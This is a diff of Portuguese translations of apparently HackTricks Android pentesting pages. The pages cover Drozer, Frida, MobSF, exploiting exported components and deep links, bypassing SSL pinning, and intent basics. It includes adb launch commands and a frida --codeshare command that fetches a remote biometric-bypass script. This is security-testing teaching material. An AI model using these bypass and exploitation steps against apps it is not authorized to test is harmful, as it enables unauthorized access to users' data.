senhas, por exemplo, hashes resistentes a força bruta **devem** ser usados com sal. ### Outras verificações @@ -175,13 +175,13 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap ../xamarin-apps.md {{#endref}} -### Aplicações Superempacotadas +### Aplicações Superpacked -De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempacotado é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.** +De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esses tipos de aplicativos... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.** -### Análise de Código Estático Automatizada +### Análise Estática Automatizada de Código -A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade. +A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade. Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**. @@ -189,7 +189,7 @@ Com esse conhecimento, **mariana-trench revisará o código e encontrará possí Uma aplicação pode conter segredos (chaves de API, senhas, URLs ocultas, subdomínios...) dentro dela que você pode ser capaz de descobrir. Você poderia usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks). -### Bypass da Autenticação Biométrica +### Bypass de Autenticação Biométrica {{#ref}} bypass-biometric-authentication-android.md @@ -237,7 +237,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emula avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendável **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._) - [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer). > [!NOTE] @@ -247,7 +247,7 @@ Para **instalar os serviços do google** (como AppStore) no Genymotion, você pr ![](<../../images/image (277).png>) -Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas). +Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas). #### Usar um dispositivo físico @@ -259,26 +259,26 @@ Você precisa ativar as opções de **depuração** e será legal se você puder 4. Pressione **Número da versão** 7 vezes. 5. Volte e você encontrará as **Opções de desenvolvedor**. -> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\ -> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde. +> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\ +> Eu sugeriria **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde. ### Vazamento de Dados Não Intencionais **Registro** -Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade. +Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade. > [!WARNING] > Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\ > De qualquer forma, ainda é recomendado **não registrar informações sensíveis**. -**Cache do Buffer de Copiar/Colar** +**Cache de Buffer de Copiar/Colar** -O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados. +O framework **baseado em clipboard** do Android permite funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados. -**Logs de Falhas** +**Logs de Crash** -Se uma aplicação **falhar** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por um canal SSL para segurança. +Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança. Como pentester, **tente dar uma olhada nesses logs**. @@ -295,10 +295,10 @@ Se o banco de dados estiver salvando informações confidenciais e estiver **cri Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema `. -### Drozer (Explorar Atividades Exportadas, Provedores de Conteúdo e Serviços) +### Drozer (Exploit Activities, Content Providers e Services) Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado pode fazer**, como fazer uso do mecanismo de Comunicação Inter-Processo (IPC) do Android e interagir com o sistema operacional subjacente.\ -Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Provedores de Conteúdo**, como você aprenderá nas seções seguintes. +Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Content Providers**, como você aprenderá nas seções seguintes. ### Explorando Atividades Exportadas @@ -309,7 +309,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.** -[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/#activities) +[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities) Você também pode iniciar uma atividade exportada a partir do adb: @@ -318,7 +318,7 @@ Você também pode iniciar uma atividade exportada a partir do adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21). +**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões da API < 21). > [!NOTA] > Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dependerá de como o bypass funciona e quais informações são expostas. @@ -329,14 +329,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](./#tapjacking). +Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking). ### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis [**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\ Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis. -[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/#content-providers) +[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers) ### **Explorando Serviços** @@ -344,7 +344,7 @@ Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se Lembre-se de que as ações de um Serviço começam no método `onStartCommand`. Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\ -[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/#services) +[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services) ### **Explorando Broadcast Receivers** @@ -352,7 +352,7 @@ Um serviço é basicamente algo que **pode receber dados**, **processá-los** e Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`. Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\ -[**Aprenda como explorar Broadcast Receivers com Drozer.**](./#exploiting-broadcast-receivers) +[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers) ### **Explorando Schemes / Deep links** @@ -361,7 +361,7 @@ Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir esse link._ +_Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chamará automaticamente o aplicativo que deve abrir esse link._ ```markup Click me @@ -389,8 +389,8 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618) ### Inspeção e Falhas de Verificação da Camada de Transporte -- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP. -- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados. +- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, voltem a usar conexões HTTP. +- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados. - **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas. #### Verificação de Certificado @@ -424,11 +424,11 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins ### Frida [Frida](https://www.frida.re) é uma ferramenta de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\ -**Você pode acessar aplicativos em execução e conectar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\ -Se você deseja fazer pentesting em aplicativos Android, precisa saber como usar o Frida. +**Você pode acessar aplicativos em execução e hook métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\ +Se você quer fazer pentesting em aplicativos Android, precisa saber como usar o Frida. - Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/) -- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Alguma "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Você pode encontrar alguns scripts Frida incríveis aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Tente contornar mecanismos de anti-debugging / anti-frida carregando o Frida como indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs)) @@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ) -**Avaliação de vulnerabilidade da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente). +**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\ Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo. -O MobSF também permite que você faça uma análise de **diff/Compare** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo. +O MobSF também permite que você **diff/Compare** análises e integre **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **upload** em vez do arquivo. ### Análise Dinâmica Assistida com MobSF @@ -541,8 +541,8 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida** Por padrão, ele também usará alguns Scripts Frida para **burlar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\ O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório. -Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookeados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\ -O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados de seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**"). +Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\ +O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -553,13 +553,13 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida: - **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso. - **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe. - **Pesquisar Padrão de Classe**: Pesquisar classes por padrão -- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android. +- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android. Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**". **Shell** -O MobSF também traz um shell com alguns comandos **adb**, comandos **MobSF**, e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes: +O Mobsf também traz um shell com alguns comandos **adb**, comandos **MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes: ```bash help shell ls @@ -570,10 +570,10 @@ receivers ``` **Ferramentas HTTP** -Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no botão "**HTTP(S) Traffic**" na parte inferior ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\ -Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visualização mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\ +Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades. +Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades. > [!NOTE] > Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo: @@ -595,7 +595,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI** ### [Qark](https://github.com/linkedin/qark) -Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste. +Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -629,15 +629,15 @@ super-analyzer {apk_file} StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis. -O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada. +O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada. -Baixe[ a versão mais recente](https://github.com/vincentcox/StaCoAn/releases): +Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\ +AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -674,11 +674,11 @@ Ele é capaz de: ## Obfuscating/Deobfuscating code -Observe que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados. +Note que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados. ### [ProGuard]() -Do [Wikipedia](): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2. +De [Wikipedia](): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2. ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento. @@ -686,7 +686,7 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era: +(Desse guia) Na última vez que verificamos, o modo de operação do Dexguard era: - carregar um recurso como um InputStream; - alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo; @@ -720,7 +720,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware. +AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 3afdb10b3..91ece75be 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -18,7 +18,7 @@ **Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações serão comprometidos. É por isso que esse comportamento é **desencorajado**.\ **Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifests.** -### Sandboxing +### Sandbox O **Sandbox de Aplicações Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um app é executado em isolamento de outros apps.\ A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e, em seguida, criou políticas para **permitir apenas as interações esperadas entre eles**. @@ -45,7 +45,7 @@ Esses apps geralmente são encontrados nos diretórios **`/system/app`** ou **`/ - As que vêm com o **AOSP** (Android OpenSource Project) **ROM** - Adicionadas pelo **fabricante** do dispositivo -- Adicionadas pelo **provedor de telefonia** (se compradas deles) +- Adicionadas pelo **provedor de celular** (se compradas deles) ## Rooting @@ -68,7 +68,7 @@ Note que **nem sempre é necessário fazer root no dispositivo** para instalar u Uma vez que um dispositivo é rootado, qualquer app pode solicitar acesso como root. Se um aplicativo malicioso obtiver isso, ele terá acesso a quase tudo e poderá danificar o telefone. -## Fundamentos de Aplicações Android +## Fundamentos da Aplicação Android - O formato das aplicações Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado). - Conteúdos do APK (Não exaustivo) @@ -89,7 +89,7 @@ Uma vez que um dispositivo é rootado, qualquer app pode solicitar acesso como r - assets/ - Armazena arquivos diversos necessários pelo app, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional. - res/ -- Contém recursos que não são compilados em resources.arsc +- Contém recursos que não são compilados em resources.arsc. ### **Dalvik & Smali** @@ -104,15 +104,15 @@ Intents são o principal meio pelo qual os apps Android se comunicam entre seus Assim, um Intent é basicamente uma **mensagem que é passada entre componentes**. Intents **podem ser direcionados** a componentes ou apps específicos, **ou podem ser enviados sem um destinatário específico**.\ Para ser simples, o Intent pode ser usado: -- Para iniciar uma Activity, normalmente abrindo uma interface de usuário para um app -- Como transmissões para informar o sistema e os apps sobre mudanças +- Para iniciar uma Activity, tipicamente abrindo uma interface de usuário para um app +- Como transmissões para informar o sistema e apps sobre mudanças - Para iniciar, parar e comunicar-se com um serviço em segundo plano - Para acessar dados via ContentProviders - Como callbacks para lidar com eventos Se vulneráveis, **Intents podem ser usados para realizar uma variedade de ataques**. -### Filtro de Intent +### Intent-Filter **Filtros de Intent** definem **como uma atividade, serviço ou Broadcast Receiver pode interagir com diferentes tipos de Intents**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem realizar ou os tipos de transmissões que podem processar. O principal lugar para declarar esses filtros é dentro do **arquivo AndroidManifest.xml**, embora para Broadcast Receivers, codificá-los também seja uma opção. @@ -132,7 +132,7 @@ Intents são criados programaticamente usando um construtor de Intent: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -A **Ação** da intenção declarada anteriormente é **ACTION_SEND** e o **Extra** é um **Uri** mailto (o Extra é a informação adicional que a intenção está esperando). +A **Ação** da intenção declarada anteriormente é **ACTION_SEND** e o **Extra** é um mailto **Uri** (o Extra é a informação adicional que a intenção está esperando). Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo: ```xml @@ -145,7 +145,7 @@ Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo: ``` Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem. -O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **aquele com a maior prioridade será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se um **conflito** surgir, uma janela "chooser" aparece para que o **usuário possa decidir**. +O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **aquele com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se um **conflito** surgir, uma janela "chooser" aparece para que o **usuário possa decidir**. ### Intents Explícitos @@ -161,18 +161,17 @@ context.startService(intent); ``` ### Pending Intents -Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Ao construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo da vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá realizar **qualquer ação em nome da vítima**. +Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Para construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação 